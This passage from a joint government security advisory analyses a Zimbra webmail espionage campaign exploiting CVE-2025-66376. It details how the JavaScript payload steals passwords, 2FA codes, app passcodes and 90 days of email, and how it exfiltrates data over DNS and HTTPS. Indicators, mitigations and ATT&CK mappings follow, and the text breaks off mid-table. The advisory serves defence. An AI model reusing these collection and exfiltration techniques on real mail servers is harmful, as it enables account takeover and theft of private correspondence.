Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing. 

      Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].
Persistence and credential access
To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.
The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.
During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

      Figure 4: First illegitimate login HTML element

      Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.
ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.
Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.
Collection
As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

Table 1: Additional SOAP commands used

SOAP Command 

Namespace 

Stage 

GetInfoRequest 

zimbraAccount 

gather_environment 

GetDeviceStatusRequest 

zimbraSync 

gather_device_status 

GetOAuthConsumersRequest 

zimbraAccount 

gather_oauth_consumers 

SearchGalRequest 

zimbraAccount 

gather_gal 

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.
During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

Table 2: ZCS webmail client types

Indicator 

Client Type 

Associated Value 

?client=advanced 

Advanced 

c 

/h/ 

Standard 

h 

/modern/ 

Modern 

m 

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  
According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.
The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.
Exfiltration
At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.
Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  
DNS exfiltration
DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

      Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  

Table 3: DNS exfiltration

Type of Information 

Exfiltration Stage 

Data Type 

Victim’s Email Address 

gather_email 

e 

Client Type 

gather_environment 

c 

Zimbra Version 

gather_environment  

v 

URL at Time of Exploitation 

gather_environment 

url 

2FA Scratch Codes 

gather_2fa_codes 

2fa 

Newly Created Application Password 

gather_app_password 

pa 

Harvested Autocomplete Password 

gather_autocomplete_password 

pw 

HTTPS exfiltration
Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  

Table 4: HTTPS exfiltration types

Content Type 

URL Path 

application/json 

/v/p 

application/octet-stream 

/v/d 

      Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  
Table 5 provides a summary of the JSON-based exfiltration.

Table 5: HTTPS JSON exfiltration  

Type of Information 

Exfiltration Stage 

JSON Key(s) 

Victim’s Email Address 

gather_email 

email 

Client Type, Version, and Current URL 

gather_environment 

client, version, full_url 

Newly Created Application Password 

gather_app_password 

app_password 

Harvested Autocomplete Password 

gather_autocomplete_password 

autocomplete_password 

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

 Table 6: HTTPS binary exfiltration

Type of Information 

Exfiltration Stage 

X-Filename Header 

SOAP request for GetInfoRequest 

gather_environment 

zimbra_batch_analytics.json 

SOAP request for GetScratchCodesRequest 

gather_2fa_codes 

zimbra_batch_analytics.json 

SOAP request for GetDeviceStatusRequest 

gather_device_status 

zimbra_batch_analytics.json 

SOAP request for GetOAuthConsumersRequest 

gather_oauth_consumers 

zimbra_batch_analytics.json 

Victim Organization’s Global Address List 

gather_gal 

telemetry_{1-20}.json 

Last 90 Days of Victim’s Emails 

sendArchives 

telemetryData_{0-89}.json 

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.
At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  
Catcher
Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.
Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.
The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  
However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

      Figure 8: Command used for automated directory cleanup

Response strategies
Mitigations
In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.
All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].
System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.
Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  
Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.
Indicators of compromise (IOCs)
Flowerbed infrastructure
The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

Table 7: Flowerbed server infrastructure

Domain 

IP Address 

First Seen 

Last Seen 

zmailanalytics[.]com 

216.252.238[.]104 

8 July 2025 

15 October 2025 

zimbra-metadata[.]com 

216.252.238[.]18 

20 August 2025 

14 October 2025 

analyticemailmeter[.]com 

37.120.247[.]228 

24 September 2025 

18 March 2026 

emailanalytics.com[.]ua 

185.86.79[.]95 

24 September 2025 

18 March 2026 

mailnalysis[.]com 

104.248.134[.]194 

11 November 2025 

17 February 2026 

zimbrastat[.]com 

64.226.124[.]190 

18 December 2025 

18 March 2026 

zimbrasoft.com[.]ua 

193.238.152[.]66 

20 January 2026 

18 March 2026 

synacorzimbra[.]nl 

216.252.238[.]64 

3 February 2026 

30 March 2026 

istc-cloud[.]com 

194.156.103[.]193 

5 February 2026 

30 March 2026 

Table 8: Flowerbed X.509 certificate SHA-1 hashes  

Associated Domain 

X.509 SHA-1 Hash 

First Seen 

Last Seen 

zmailanalytics[.]com 

2e4f314bc9943cab5005d6fde0b271c74d47bc9d 

8 Jul 2025 

6 Aug 2025 

*.i.zmailanalytics[.]com 

50a87d926621dd06389ba50d86e0ff574ed713a8 

6 Aug 2025 

13 Oct 2025 

*.i.zimbra-metadata[.]com 

c5a72420e7bb308d078e62128430897f82194c95 

20 Aug 2025 

14 Oct 2025 

*.i.analyticemailmeter[.]com 

8959c4d29e29f02ea94ea8bb21c8df2594c5549d 

24 Sep 2025 

8 Nov 2025 

*.i.emailanalytics.com[.]ua 

62eb76432597694edb01c1fe57aab0cfe03a7178 

25 Sep 2025 

27 Sep 2025 

*.i.mailnalysis[.]com 

cddf5c3be1e07f28140aed165b929bf2d614922a 

12 Nov 2025 

17 Dec 2025 

*.i.zimbrastat[.]com 

18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 

18 Dec 2025 

28 Dec 2025 

*.i.zimbrasoft.com[.]ua 

1b25041ececf2457eef0270fc1d785cec8ec9ded 

21 Jan 2026 

10 Feb 2026 

*.i.synacorzimbra[.]nl 

e4fe6466a4f9a4249fe330651e914e45bbdca44a 

5 Feb 2026 

22 Mar 2026 

*.i.istc-cloud[.]com 

b6b77c9a455225d525834a403ca9ef5481ed0447 

12 Feb 2026 

30 Mar 2026 

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution
LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  
The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts
Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.
This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.
While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”
In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  
Remediation
In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.
Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.
All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.
Works cited
[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf
[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/
[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 
[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit
[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  
Footnotes
¹ Národní úřad pro kybernetickou a informační bezpečnost
²Forsvarets Efterretningstjeneste
³Välisluureamet
⁴ Sotilastiedustelu
⁵ Suojelupoliisi
⁶ Direction générale de la sécurité intérieure
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Serviciul de Informații și Securitate al Republicii Moldova
¹¹Agencja Wywiadu
¹²Służba Kontrwywiadu Wojskowego
¹³Centro Nacional de Inteligencia
¹⁴Nationellt Cybersäkerhetscenter
¹⁵ MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.
Acknowledgements
The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.
Disclaimer of endorsement
The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.
Purpose
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact

United States organizations 

National Security Agency 
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
Cybersecurity and Infrastructure Security Agency 
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
Federal Bureau of Investigation 
If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
Defense Counterintelligence and Security Agency  
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
Department of Defense Cyber Crime Center  
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
Media Inquiries / Press Desk: DC3.Information@us.af.mil 
Naval Criminal Investigative Service 
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid  
General Intelligence and Security Service (AIVD): https://www.aivd.nl 

Australian organizations 

Australian Signals Directorate 
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz 

United Kingdom organizations 

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7) 

Estonia organizations 

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee 

Finnish organizations 

Finnish Security and Intelligence Service: supo.fi/en/contact 

French organizations 

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Italian External Intelligence and Security Agency (AISE):  
Visit https://www.sicurezzanazionale.gov.it/  
Italian Internal Intelligence and Security Agency (AISI):  
Visit https://www.sicurezzanazionale.gov.it/ 

Moldovan organizations 

Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 

Polish organizations 

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl

Appendix A: MITRE ATT&CK tactics and techniques
See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

Table 9: Reconnaissance 

Technique Title 

ID 

Use 

Gather Victim Identity Information: Credentials 

T1589.001 

The payload attempts to intercept a victim’s password from their password manager. 

Gather Victim Identity Information: Email Addresses 

T1589.002 

The payload attempts to grab the victim’s email address from various data stores. 

Search Open Websites/Domains 

T1593 

This group likely leverages public information to support target development. 

Active Scanning 

T1595 

Port scanning can be used by this group to assist with determining exploitability of identified targets. 

Search Open Technical Databases: Scan Databases 

T1596.005 

Various public datasets can provide information to support discovery of exploitable targets. 

Search Closed Sources 

T1597 

Previously exfiltrated data can be used to enhance target development efforts. 

Search Closed Sources: Purchase Technical Data 

T1597.002 

Commercial datasets can also be used to support target development efforts. 

Table 10: Resource Development 

Technique Title 

ID 

Use 

Acquire Infrastructure 

T1583 

This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 

Acquire Infrastructure: Virtual Private Server 

T1583.003 

This group procured VPS servers from a variety of vendors. 

Develop Capabilities 

T1587 

The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 

Develop Capabilities: Malware 

T1587.001 

Development of a novel payload that steals a victim’s emails and other sensitive account information. 

Develop Capabilities: Exploits 

T1587.004 

Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 

Obtain Capabilities: Tool 

T1588.002 

Open source tools, such as Evilginx2, have also been used by the group. 

Obtain Capabilities: Artificial Intelligence 

T1588.007 

The group appears to have leveraged AI to support development efforts. 

Stage Capabilities 

T1608 

Flowerbed is deployed to a procured server in the cloud. 

Table 11: Initial Access 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  

Trusted Relationship 

T1199 

The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  

Phishing 

T1566 

The actors used spear phishing to lure users into opening malicious email. 

Table 12: Execution 

Technique Title 

ID 

Use 

Exploitation for Client Execution 

T1203 

An XSS vulnerability was leveraged to execute the JavaScript payload. 

Table 13: Persistence 

Technique Title 

ID 

Use 

Account Manipulation 

T1098 

Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Table 14: Privilege Escalation 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  

Table 15: Stealth 

Technique Title 

ID 

Use 

Obfuscated Files or Information: Command Obfuscation 

T1027.010 

Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 

Obfuscated Files or Information: Encrypted/Encoded File 

T1027.013 

The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 

Obfuscated Files or Information: SVG Smuggling 

T1027.017 

The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 

Use Alternate Authentication Material: Web Session Cookie 

T1550.004 

Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 

Table 16: Credential Access 

Technique Title 

ID 

Use 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Adversary-in-the-Middle 

T1557 

